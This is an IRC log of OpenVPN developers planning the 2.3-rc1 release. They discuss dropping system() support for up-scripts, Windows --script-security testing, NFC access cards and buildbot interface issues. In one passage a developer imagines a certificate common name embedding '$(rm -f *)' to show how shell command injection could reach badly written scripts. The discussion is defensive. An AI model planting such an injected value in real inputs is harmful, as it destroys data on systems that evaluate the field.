rebuild my win7 vm so that I can run some tests 06:14 <@mattock_> fortunately there's nothing there really 06:14 <@dazo> I'm probably part of the delay equation for sure ... I think I promised to look at one more fix from plaisthos ... but haven't had time to re-check if I had all 06:14 <@dazo> oh yeah, it's a compile time fix 06:16 * dazo pulls it in now 06:37 <@vpnHelper> RSS Update - testtrac: Options parsing demands unnecessary configuration if PKCS11 is used <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=70a07339f8d323d69cdcf8d59da1f331d39e4d0a> 06:44 < plaisthos> dazo: it is not a compile time fix 06:44 <@dazo> yeah, true ... I meant #ifdef fix :) 06:44 < plaisthos> nah 06:44 < plaisthos> :) 06:44 < plaisthos> it adds an else 06:45 <@dazo> yeah, and moves around on the #ifdef :) 06:45 < plaisthos> otherweise the if {} else if {} else if {} else if would be missing an else somewhere in the middle :) 06:45 < plaisthos> dazo: true 06:45 <@dazo> :) 06:49 <@dazo> cron2: what about this old one? https://community.openvpn.net/openvpn/ticket/61 06:49 <@vpnHelper> Title: #61 (IPv6 neighbor solicitation not working with Windows) – OpenVPN Community (at community.openvpn.net) 07:07 <@vpnHelper> RSS Update - tickets: #234: Clean up hard-coded paths in win32.c:configure_win_path() <https://community.openvpn.net/openvpn/ticket/234> 07:27 <@cron2> dazo: 61 can be closed, I think. There is no IPv6 support in 2.2-beta3 - and while it might have worked "manually", no way to help the original author if he does not reply 07:29 <@cron2> bang 07:31 <@cron2> 234/106 we might want to look into, yes 07:46 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Ping timeout: 264 seconds] 07:53 <@dazo> d12fk: mattock_: do you know if this will work in Windows? --up "%windir%\\system32\\cmd.exe my-up-script.cmd" 07:53 * dazo is preparing a patch removing support for system() calls 08:03 <@dazo> cron2: thx! :) 08:05 <@dazo> cron2: yeah, #234 can be closed if my "remove system() support" is accepted ;_) 08:05 <@dazo> as well as #228 08:11 <@mattock_> dazo: no clue 08:16 <@dazo> mattock_: got a system where you can try it? just to make sure I don't make a complete fool of myself when I post my patch :) 08:16 <@mattock_> yeah, I still have my winxp vm 08:16 <@mattock_> I just need to build a patched version 08:17 <@mattock_> if you can put a patched tar.gz somewhere, I'll build and test it 08:17 <@dazo> oh, sorry ... context! .... just have a config with --script-security 2 ... and then call a --up script with "%windir%\\system32\cmd.exe test-script.bat" ... 08:18 <@dazo> test-script.bat or .cmd or whatever, can be whatever which just made you sure it ran :) 08:18 <@dazo> (as I'm pulling out system() support ... that's the approach I believe users must use instead of --script-security 2 system) 08:19 <@dazo> so any openvpn version can run this test :) 08:31 <@dazo> If anyone is curious on the patch ... here's a preview ... http://www.fpaste.org/t3Ff/ 08:31 <@dazo> 8 files changed, 82 insertions(+), 239 deletions(-) 08:32 <@mattock_> ah 08:32 <@mattock_> let's see 08:37 <@mattock_> ah, now I see... I don't think there's anything wrong with my Windows VMs... they just dislike being moved to another KVM host (i.e. reinstalled OS) 08:37 <@mattock_> XP is out of order also 08:37 <@dazo> heh 08:37 * dazo didn't think reinstalling KVM host would be noticed by guests ... 08:40 * dazo heads out for lunch/dinner 08:41 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 08:41 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:42 <@mattock_> actually, I had been too eager to switch all VMs to virtio 08:43 <@mattock_> and windows vm's don't have drivers, so they don't see the disks 08:45 <@mattock_> yeah, that was it 08:45 <@mattock_> human error, how surprising :D 08:54 <@mattock_> making VM backups, then testing the openvpn command-line 08:54 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 09:05 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 09:16 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Quit: foo!] 09:21 <@mattock_> testing the command-line 09:26 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 09:37 < plaisthos> I considered a soft USR1 with the meaning connection attempt failed but since the USR1/USR2 etc constant are based on signal.h there no portable way to define an extra SIGXXX :( 09:45 <@dazo> plaisthos: but there's no reason we can redefine that signal handling slightly ... having a global flag which is set before sending SIGUSR1 ... and the signal handler can first read that global variable 09:45 <@mattock_> dazo: this seems to work: 09:45 <@mattock_> openvpn.exe --config test.ovpn --up "c:\\windows\system32\cmd.exe upscript.bat" 09:45 <@mattock_> %windir% does not seem to expand, not sure why 09:46 <@dazo> okay ... that's not so unexpected 09:46 <@dazo> plaisthos: it would need to be a locking around that global variable, to avoid more callers to change the signal type 09:46 <@mattock_> so "script-security 2" 09:49 <@dazo> if you try without the c:\\windows\\system32\cmd.exe ... and just upscript.bat ... does it fail then? 10:06 < plaisthos> dazo: Yes, I will look into it 10:15 <@mattock_> dazo: seems to work with openvpn.exe --config test.ovpn --up upscript.bat 10:16 <@dazo> mattock_: hmm ... jjk said that shouldn't work :/ ... can you try to explicitly set --script-security 2 execve ? 10:17 <@mattock_> ok 10:17 <@dazo> (with the additional 'execve' flag) 10:17 <@dazo> maybe it's first an issue if you want to run some .vbs scripts .... 10:23 <@mattock_> in config: script-security 2 execve 10:23 <@mattock_> > openvpn --config test.ovpn --up test.bat (works) 10:23 <@mattock_> > openvpn --config test.ovpn --up "c:\\windows\\system32\cmd.exe test.bat" (does not work, just launches cmd.exe) 10:24 <@mattock_> I'm running these from a command-prompt, not sure what would happen if I used the service or the gui 10:33 <@mattock_> gui does not like the second version above, or one with full patch to test.bat 10:33 <@mattock_> path 10:36 <@dazo> grmbl .... hmmm .... 10:37 <@dazo> it might be that you need full path to the bat file with cmd.exe ... or some additional flags to cmd.exe to tell it to run that script 10:43 <@mattock_> could be 10:43 <@mattock_> I'll do some more testing tomorrow 10:45 <@dazo> mattock_: I'll send you some info on mail, if you wouldn't mind testing that ... I'm just trying to confirm JJK's concerns to the mailing list ... as he is seldom wrong :) 10:45 <@mattock_> dazo: ok, just send me the test cases I should try out 12:23 <@cron2> think it's "cmd.exe -c foo.bat" 12:31 <@dazo> well, actually ... if .bat files (and probably .cmd files) will run without cmd.exe reference, that's a good thing ... but we need to check for vbs script and such 12:31 <@dazo> just so that we can document the change 12:32 <@cron2> true 12:54 <@dazo> :) 12:55 * dazo see that cron2 is still Sun burned from Solaris :-P 13:29 * ecrist might have a job soon admining a ton of solaris boxes 13:29 * plaisthos liked opensolaris/zfs for his home fileserver 13:30 < plaisthos> and then oracle bought sun 13:30 <@ecrist> freebsd + ZFS rocks, plaisthos 13:32 < plaisthos> yeah i guess, at that time it was still unstable on boxes with "only" 1 GB 13:33 <@ecrist> our fileserver at work is a freebsd box with ZFS 13:33 <@ecrist> ZFS on top of RAID 60, though 13:56 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 13:59 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:00 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:06 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 14:07 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:07 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:10 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Client Quit] 14:11 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:11 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:14 -!- dazo is now known as dazo_afk 14:18 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Quit: Leaving] 14:19 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:19 -!- mode/#openvpn-devel [+o andj] by ChanServ 14:23 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Client Quit] 14:24 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:24 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:45 <@ecrist> woot 15:46 <@ecrist> Delta just offered me a position as a 'Senior Unix Security Engineer' 15:46 * ecrist does the happy dance 17:02 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:10 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 18:27 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 18:42 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 19:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:50 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 22:05 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Fri Oct 26 2012 04:40 -!- dazo_afk is now known as dazo 04:41 <@dazo> ecrist: congrats!!! 05:13 < plaisthos> ecrist: congrats 05:51 < reiffert> I'm looking for a position as a network op or implementer .. world wide. If you hear anything .. 05:52 < reiffert> ecrist: nice 07:11 * plaisthos just came up with a completly stupid Android app idea that is so stupid that I have to implement it 07:11 < plaisthos> an NFC chat 07:17 <@dazo> hehehehe 07:19 < plaisthos> .oO(try to find two people with NFC enabled handsets is hard enough ;)) 07:20 * dazo imagines plaisthos walking around in a shopping mall asking people if they have a NFC phone ... and if yes, "Cool, let's try my NFC chat!" 07:33 < plaisthos> dazo: nah :D 07:34 <@dazo> how close do you need to be with NFC? 07:34 < plaisthos> dazo: touch the the backsides of the handsets 07:35 < plaisthos> basically it is completly useless :D 07:35 <@dazo> hehehehe 07:35 <@ecrist> thanks guys 07:36 <@ecrist> I have an NFC-enabled device 07:36 <@dazo> plaisthos: which is exactly why it probably would become a hit in Google Play :-P 07:36 <@ecrist> so far it's useless 07:36 < plaisthos> ecrist: I know the feeling 07:37 <@dazo> I think I've seen a couple of stores here in Oslo with some NFC labels ... but not sure how well it works ... Think it depends on Google Wallet, though 07:51 < plaisthos> if you have two nfc enabled devices you can send links and vcards between the devices 07:57 < plaisthos> but that is only use I found for the nfc chips 08:00 <@dazo> I think NFC can be cool if implemented for access cards into building (instead of those contactless chip cards often used) ... and payment in shops ... those two can become "killer apps" 08:00 <@dazo> vcards and links are just as easily shared using SMSes these days 08:00 <@dazo> (or other messaging services) 08:02 <@ecrist> I wouldn't trust a cell phone for use as an access card 08:03 <@ecrist> contactless cards are far more secure, particularly the more modern versions 08:03 <@ecrist> such as HID's iClass line 08:04 < plaisthos> unless you just use the "unique" ID of the card for identifcation 08:04 < plaisthos> or mifare classic cards 08:04 <@ecrist> well, the 'unique' id is coupled with a facility code, which helps to make it more secure (but only marginally) 08:05 <@dazo> well, if implemented with, say, certificate exchanges ... and then you can pin protect keys needed for the authentication ... that could actually enhance the security 08:05 < plaisthos> iirc the more modern card can do this 08:06 <@ecrist> iClass can do that 08:06 <@ecrist> and actually have a small amount of storage available on the card for user certificates 08:07 <@dazo> then a NFC version would be more convenient for the users ... as they will most likely always bring their phones ... and if the phone is lost, it's a bigger chance it's noticed and reported than (compared with) physical cards 08:07 <@dazo> and the "door terminals" could be more stupid ... they could be without pin pads and displays 08:07 <@ecrist> I still wouldn't trust a phone for physical access to a structure 08:08 < plaisthos> Android has the concept of hardware keystorage on Galaxy Nexus, Nexus 7 08:08 < plaisthos> and you can have a online verification on a phone 08:08 <@ecrist> nobody's going to wear their phone around their neck as an ID, either 08:09 <@dazo> fair point 08:10 <@ecrist> additionally, many 'smart' users are going to cede control of their personal cell phone so a corporate entity can embed an authentication token 08:10 <@ecrist> are not* 08:10 <@dazo> but with physical cards, there's still the risk that they can be cloned ... some are harder to clone today ... but in the future .... 08:11 < plaisthos> dazo: iirc the current generation of cards is still safe 08:11 < plaisthos> but you have that risk for any technology 08:11 <@dazo> plaisthos: last famous words? ;_) 08:11 <@ecrist> dazo: the cloning is specifically why I won't trust a cell phone 08:11 < plaisthos> dazo: hey, mifare classic cards are still being used on a large scacle 08:11 <@ecrist> it's going to be far easier to clone cell phone credentials than a proprietary card 08:12 <@ecrist> 26-bit weigand is still by-far the most common format out there 08:12 <@ecrist> oooh, 3 digit facility code + 11 digit card ID 08:12 <@ecrist> super secret 08:12 <@ecrist> :/ 08:22 <@cron2> afk... 09:23 <+krzee> im also strongly against using my phone as an auth token, our phones are insecure with gov backdoors and we dont know the details 09:24 <+krzee> govs can turn on the mic to tap users 09:24 <+krzee> which means they have far more control than just that 09:30 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 09:38 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:08 <@mattock_> I happily forgot all about the Windows tests :P 10:11 <@mattock_> dazo: for some reason I thunderbird/openpgp does not know how to decipher your mail 10:11 <@mattock_> I don't _think_ anything has changed at my end 10:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:32 <@dazo> mattock_: maybe I used your pubkey wrong key ... 10:32 <@mattock_> could be 10:32 <@mattock_> I assume my test mail arrived to you? 10:32 <@dazo> it did ... and I could decrypt it even 10:37 <@dazo> gpg: encrypted with 2048-bit ELG-E key, ID CF6D46CF, created 2009-11-21 10:37 <@dazo> "Samuli Seppänen <samuli.seppanen@gmail.com>" 10:38 <@mattock_> that looks correct 10:38 <@dazo> I resent it ... lets see ... 10:39 <@mattock_> still the same 10:39 <@mattock_> hmm, I'll try to find an older mail from you and see if it opens 10:40 <@dazo> mattock_: look at the mail source .... extract the "BEGIN PGP MESSAGE" block ... and run it through gpg manually ... see if that works 10:46 <@mattock_> yeah, I can open it with gpg -d 10:46 <@mattock_> interesting 10:46 <@dazo> okay ... local enigmail bug ;-) 10:47 <@mattock_> yeah, must be 10:47 <@mattock_> are we ready for release if the tests go fine? 10:47 * dazo is using Thunderbird 10 ESR + enigmail 1.4 10:47 <@mattock_> TB 16.1 + enigmail 1.4.5 10:48 <@mattock_> TB 16.0.1 10:48 <@dazo> mattock_: well, that patch I have in the pipe (which is related to what you're testing) would be great to get into RC1 and not 2.3 final 10:48 <@dazo> as that _might_ cause some noise .... so better catch it at this level 10:48 <@mattock_> ok, I got distracted today, but I'll do the tests on Monday 10:48 <@dazo> otherwise 2.4 is the next logical target 10:49 <@mattock_> we could release 2.3-rc1 on Tuesday maybe? 10:51 <@dazo> mattock_: yeah, that's a good goal! ... and if cron2, plaisthos or d12fk could review this "remove system() calls" patch ... we can squeeze that in 10:52 <@dazo> I just need to the proper things to document in the patch (and man page) ... and the patch is good to go to the ML 10:56 <@dazo> mattock_: oh, I see with the manual gpg ... you're left to decipher the attachment I sent you too :-P 10:57 <@mattock_> uh, I'm not sure I follow 100% :D 10:57 <@mattock_> it looks like enigmail is not detecting the encrypted part of the message correctly 10:58 <@dazo> mattock_: there's a PDF attachment in the mail ... when you do the gpg -d stuff ... the clear text contains the base64 encoded attachment ... so doing it fully manually, requires some more copy-paste through 'base64 -d > att.pdf' 10:58 <@mattock_> ah yes, that one 11:03 -!- raidz_afk is now known as raidz 11:12 <@mattock_> extracted the pdf 11:12 <@mattock_> looks good 11:14 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 11:55 <@cron2> mattock: 2.3rc1 on tuesday sounds great 11:55 <@cron2> (and yes, if I can see a patch somewhere, I'll look at it) 12:20 <@dazo> cron2: you can see the patch here ... http://www.fpaste.org/nxHP/ ... the only thing which will change (unless you spot something) is openvpn.8 and the commit message 12:21 <@dazo> when I have the doc changes in place, I'll send the patch to the ML 12:32 <@cron2> ah, there. I was looking at my mailbox 12:35 <@cron2> why is configure_win_path dropped? 12:36 <@cron2> you need that for execve() as well, at least for netsh.exe - because it will not find all needed DLLs otherwise (that's where \\windows\\system32\\wbem is coming from) 12:37 <@cron2> mmmh 12:37 <@cron2> weird code 12:37 * cron2 withdraws that question - the wbem thing is fixed for execve-on-windows elsewhere, setting up the default environment 12:37 <@cron2> anyway 12:38 <@cron2> I think I'm fine with the change, though I find the advice to users "just use --up '\\windows\\system32\\cmd.exe /c myscript.bat'" not *that* nice (too many backslashes) 12:39 <@cron2> We might want to check with James (mattock...?) whether there is anything he knows about this feature we might overlook 12:46 <@dazo> actually, it might be that it's only if you want to run other script types (like VBscript) which requires the interpreter mentioned ... not .bat/.cmd files 12:47 <@cron2> maybe someone should *test* that, then? :-) 12:48 <@dazo> mattock is on the case ;-) 12:48 <@cron2> ah, great 12:49 * dazo decides it's time to start the weekend :) 12:49 <@dazo> have a good one everyone! 12:51 -!- dazo is now known as dazo_afk 13:59 * ecrist wanders in to ruin current $boss' day 19:07 -!- raidz is now known as raidz_afk --- Day changed Sat Oct 27 2012 00:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 00:27 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection] 00:28 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:28 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:46 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 06:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:42 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:51 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] --- Day changed Sun Oct 28 2012 01:03 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 01:43 -!- Netsplit *.net <-> *.split quits: ender| 03:31 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 03:31 -!- ChanServ [ChanServ@services.] has joined #openvpn-devel 03:31 -!- ServerMode/#openvpn-devel [+o ChanServ] by gibson.freenode.net 03:41 -!- ChanServ [ChanServ@services.] has left #openvpn-devel [] 04:34 -!- Netsplit *.net <-> *.split quits: ender` 04:38 -!- Netsplit over, joins: ender` 04:44 -!- Netsplit *.net <-> *.split quits: ender` 04:54 -!- Netsplit over, joins: ender` 06:27 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:27 -!- mode/#openvpn-devel [+o mattock_] by ChanServ --- Day changed Mon Oct 29 2012 03:15 <@d12fk> reiffert: http://www.sophos.com/de-de/about-us/careers/germany/geo-systems-engineer-kar.aspx 03:16 <@d12fk> or http://www.sophos.com/de-de/about-us/careers/germany/netzwerk-experte-kar.aspx 03:17 <@d12fk> or even maybe http://www.sophos.com/de-de/about-us/careers/germany/senior-it-infrastructure-specialist-kar.aspx 03:17 <@d12fk> all at my office in karlsruhe 03:17 <@d12fk> \end of recruting 03:18 <@d12fk> i've got one for rc1 as well 03:18 * cron2 grins - I sent reiffert our list of open positions by query on Friday already. :-9 03:18 <@d12fk> yeah finding a job these days aint hard 03:21 <@d12fk> there remains a problem with utf8 CNs/usernames in combination with --client-config-dir 03:21 <@d12fk> fix is rather small and straight forward, will send later today 03:54 -!- dazo_afk is now known as dazo 03:55 <@dazo> d12fk: cool! We're closing in on the RC1 by today, so that's a good match 03:56 <@dazo> mattock_: you'll be able to complete the testing today? (so I can send the proper patch to the ML?) 04:38 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:38 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 04:39 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Disconnected by services] 04:39 -!- dazo_afk is now known as dazo 08:42 * d12fk 's patches appeared on the list 09:02 <@mattock_> dazo: just arrived home, will have a brief pause and then do the testing 09:07 <@dazo> mattock_: thx! 09:07 <@dazo> d12fk: thx! 09:10 <@dazo> d12fk: any reason we allow * and ? in file names on non-Windows? 09:11 * cron2 rolls himself a new certificate with the CN "** Bob's Uncle **"... 09:11 <@d12fk> it's just a shell thing, the filenames can include these 09:12 <@ecrist> the only character that's completely disallowed on *nix is a forward slash 09:13 <@dazo> I'm just thinking if this /could/ be abused by a poorly written shell script ... CN=John `$(rm -f *)` Doe .... or something like that 09:14 <@ecrist> heh 09:14 <@dazo> echo $common_name ... could really be fun then .... 09:14 <@ecrist> really, that's an exercise for the admin, isn't it? 09:15 <@dazo> well, actually, it would need to be issued by a trusted CA ... 09:15 <@cron2> dazo: no, as it's not evaluated in there, you'd need to use it in more complex contex 09:15 <@cron2> context 09:15 <@dazo> before any scripts run first 09:15 <@cron2> like "eval $CN" 09:16 <@dazo> cron2: yeah, but if properly escaped ... a ugly --tls-verify script could potentially do 'echo $common_name' .... or would that still require eval? 09:16 <@cron2> that would just print it 09:16 <@cron2> it would mangle whitespace (' ' becomes ' ') 09:17 <@dazo> ahh 09:17 <@cron2> but it would not do any other shell specials, at least not in "properly POSIX" shells 09:17 <@d12fk> guys, gen_oath() is not used for shell scripts, calm down 09:17 <@d12fk> gen_path() 09:17 <@cron2> gen_oath() sounds dangerous 09:17 <@d12fk> it's pretty much just for CCDs 09:17 <@d12fk> and tmpfiles 09:18 <@dazo> ahh, okay 09:18 <@dazo> (but you know I like to think of worst case scenarios ;-)) 09:18 <@d12fk> git grep for it and you'll be as relieved as I was =) 09:18 <@cron2> dazo: you're very imaginative :-) 09:19 <@d12fk> paranoid penguin =) 09:19 <@dazo> :) 09:19 * cron2 wonders how many locks dazo's house door has, and whether there are any windows, or any electricity inside 09:19 <@dazo> cron2: there's no single point of failure there ;-) 09:20 <@cron2> ah, no windows, no electricity 09:20 <@dazo> hahaha :) 09:20 <@d12fk> actually I had the same thoughts before I committed the thing, so cheers dazo 09:20 <@dazo> d12fk: that's good :) 09:21 <@cron2> I'm fine with seriously thinking through such details :-) (what I'm not *so* fine with is if people overdo it and send me huge patches for "security issues!" that are not) 09:22 <@dazo> agreed :) 09:23 <@dazo> I remember a guy telling me I needed to check if int values into a function (declared as int) should be checked for int overflows .... 09:25 <@dazo> oh! There *is* some unit testing in openvpn .... you just need to enable GEN_PATH_TEST ... init.c/init_static() craziness :/ 09:29 <@d12fk> btw. there are some unused CC_ classes which i didn't care to remove this time 09:30 <@dazo> well, that's just ignored by the compiler for now ... so no worries about that 09:30 <@d12fk> just in case we run out of bits one day 09:30 <@dazo> yeah 09:30 <@dazo> we have space for 1 more, think :) 09:31 * dazo acks and applies 09:31 <@d12fk> dazo: pls fix the obvious speling mistakes 09:32 <@dazo> uhm.... okay, I'll see if I see them :) 09:32 * d12fk needs to proof read stuff before sending it 09:33 <@d12fk> "need to have a CCD file>s<" 09:34 <@dazo> ahh, found it! 09:34 <@d12fk> "and both would >be< receive options" 09:34 * dazo believes he has auto-correction when reading .... 09:34 <@d12fk> i def do =) 09:35 <@cron2> humans that read a lot do that, autocorrecting (by reading and pattern-matching whole words). Can be quite a nuisance when trying to actually *find* spelling mistakes :-) 09:36 <@cron2> afk... need to fetch $daughter[0] from daycare... bbl 09:36 <@d12fk> there are in-humans that actually pick up mistakes like nothing 09:36 <@d12fk> they pare differently i suppose 09:36 <@d12fk> parse =) 09:37 <@d12fk> aka too dumb for pattern matching =P 09:37 <@dazo> :-P 09:44 <@dazo> [OT] ... this looks interesting .... http://www.h-online.com/open/features/The-open-GSM-future-arrives-1723580.html 09:49 <@dazo> mattock_: btw ... in regards to provide builds for RHEL/Fedora (including clones) ... I've discovered mock lately .... it does all proper cross compiles, including fedora and EPEL builds from a single box ... all you need is a src.rpm with the proper source code + spec file .... mock -r fedora-16-x86_64 $srcrpm .... or mock -r epel-{4,5,6}-{i386,x86_64} $srcrpm 09:50 <@dazo> it will create a chroot, install the needed compiler tools + libs into the chroot, do the compilation and provides rpms out, ready to be signed 09:51 <@dazo> and all tools/libs are according to the latest "platform" you want to compile it for 09:52 <@dazo> and the good thing ... it will not compile if not all proper BuildRequirements or Requirements are defined in the .spec file 10:22 <@mattock_> dazo: ok, mock sounds good, I need to give it a spin 10:26 <@mattock_> dazo: I don't see the vbscript as an attachment, only a PDF ("Windows login greeter") 10:27 <@dazo> mattock_: the vbs is in that document :) ... it's 3-4 lines of code 10:27 <@mattock_> ah, I was too casual 10:27 <@mattock_> found it 10:27 <@dazo> :) 10:28 <@mattock_> is win7 64-bit enough? 10:29 <@mattock_> "however watch out for Windows servers" (from jjk) 10:29 <@mattock_> I can test 2008r2 10:29 <@mattock_> win7 64-bit 10:29 <@mattock_> winxp 32-bit 10:29 <@mattock_> I'd rather test just the pickiest one, obviously :D 10:32 <@dazo> yeah, arch has no difference here ... but testing xp and 2008r2 would really be great 10:38 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 10:49 -!- mattock_ [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:49 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 11:02 -!- raidz_afk is now known as raidz 11:15 < plaisthos> 29k active OpenVPN for Adnroid installations :) 11:45 <@mattock_> the configuration file parser is pretty stupid actually 11:46 <@mattock_> script-security 2 execve + up "c:\\windows\system32\wscript.exe" tries to execute "c:\windows\system32\wscript.exe Local Area Connection 4" 11:46 <@mattock_> how useful is that :D 11:47 <@mattock_> at the moment I'm not sure what works, but I'll put out some sort of report on pastebin when I'm done 11:59 <@mattock_> finally found one variant that works with execve 12:05 <@mattock_> dazo: http://pastebin.com/Fjwwn93y 12:06 <@mattock_> it seems possible to use "script-security 2 execve" on windows with arbitrary interpreters, but it's painful unless you know what the correct syntax is 12:07 <@dazo> mattock_: yeah, I see that ... but is that a bad thing?!! 12:08 <@mattock_> well, not necessarily 12:08 <@mattock_> we should just document the correct syntax 12:08 <@dazo> agreed! 12:08 <@mattock_> I don't know why double quotes were not ok... openvpn itself suggested using those 12:08 <@mattock_> perhaps that suggestion should be fixed, too? 12:08 <@dazo> yeah, that kind of surprised me too 12:09 <@mattock_> jjk uses double quotes in his example, that's why it took a while to figure out what's happening 12:09 <@mattock_> anyways, I think the "system" method can be scrapped without causing any regression 12:09 <@mattock_> just some reconfiguration 12:09 <@dazo> what about spaces in the file/dir name? 12:10 <@mattock_> hmm, I'll test those 12:10 <@mattock_> I stripped them away to make sure they're not messing things up 12:10 <@dazo> C:\OpenVPN Test\Test 1.vbs 12:10 <@dazo> yeah, that's fully understandable :) 12:11 <@dazo> plaisthos: cool! I'm planning to test it out on my wife's ICS phone at some point soon too :) 12:15 <@mattock_> spaces don't seem to be a problem if escaped with \: http://pastebin.com/EsQAYKz5 12:16 <@mattock_> I suppose it doesn't matter whether the space is in the interpreter path or script path 12:16 <@mattock_> didn't test 12:18 <@mattock_> -> dinner 12:34 <@dazo> thx a lot! 13:06 <@mattock_> np 13:30 <@dazo> mattock_: can you test two more final variants? 13:30 <@dazo> up 'c:\\Windows\\System32\\wscript.exe "c:\\Program Files\\OpenVPN\\config\\test.vbs"' 13:31 <@dazo> and 13:31 <@dazo> up 'c:/Windows/System32/wscript.exe "c:/Program Files/OpenVPN/config/test.vbs"' 13:31 <@dazo> (I think I read somewhere a long while ago that openvpn tackles / as \\ ...) 13:31 <@dazo> (but only on Windows) 13:43 <@cron2> mattock: what's going on on builder-centos-6-amd64-stable-master that "tun10" is used, and seems to be getting increasingly-large interface indexes for every compile? 13:43 <@cron2> t_client itself seems to succeed but the tun10 gets a new interface index, so pre/post routing table do not match (which is not OpenVPN's fault, but hard to diagnose) 13:45 <@cron2> same thing seems to affect builder-fedora-16-i386-stable-master 14:38 <@dazo> removal of the system() call patch has been sent to the mailing list 14:49 <@mattock_> cron2: hmm, interesting 14:50 <@mattock_> that tun10 is in use is expected 14:50 <@mattock_> I'll look into what's happening tomorrow 14:51 -!- dazo is now known as dazo_afk 15:38 -!- Marquel [~Marquel@unaffiliated/marquel] has left #openvpn-devel ["Scrubbing cyberspace clean with tiny broadcast bubbles"] 17:13 -!- Dr_Stein [pizza@heap.pbp.net] has joined #openvpn-devel 17:14 < Dr_Stein> greetings 17:36 -!- Dr_Stein [pizza@heap.pbp.net] has left #openvpn-devel ["WeeChat 0.3.9"] 19:37 -!- raidz is now known as raidz_afk --- Day changed Tue Oct 30 2012 00:41 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:41 -!- mode/#openvpn-devel [+v krzie] by ChanServ 02:49 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 02:50 -!- ender` [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 03:23 -!- dazo_afk is now known as dazo 05:22 -!- dazo is now known as dazo_afk 07:11 -!- waldner [waldner@unaffiliated/waldner] has quit [Ping timeout: 272 seconds] 07:52 <@mattock_> cron2: fedora 16 buildslave issue fixed... fping version problem again 07:55 <@cron2> that's the "it does not ping" problem I'd say, but not the pre/post route do not match... 08:02 <@mattock_> yep, correct 08:02 <@mattock_> I'm not sure what the hell is causing the interface number / identifier to go up on centos-6-amd64 08:03 <@mattock_> all other platforms seem to be ok 08:03 <@cron2> do the other identifiers go up that far as well? Or "just tun10"? You could try running the community VPN on tun0 - maybe the t_client tests using interfaces "smaller than tun10" cause this... 08:08 <@mattock_> no 08:09 <@mattock_> all other buildslaves have tun10 also, and they seem to be fine 08:09 <@mattock_> this is something centos-specific 08:09 <@cron2> yeah, but maybe we can work around this... 08:09 <@mattock_> sure, you could be right about the smaller thingy 08:12 <@mattock_> it seems tun0 gets a larger identifier than tun10 08:16 <@mattock_> I think it increases the identifier number by 1 for each test, not sure yet 08:16 <@mattock_> would make sense 08:16 <@mattock_> I'll reboot and see if the numbers are persistent 08:18 <@mattock_> not persistent, it's now at 5 08:33 <@mattock_> the openvpn instance that creates tun10 gets restarted for some reason, that's why tun10 identifier gets incremented 08:36 <@cron2> ah. so why does it restart? 08:41 <@mattock_> not sure yet 08:41 <@mattock_> I'm 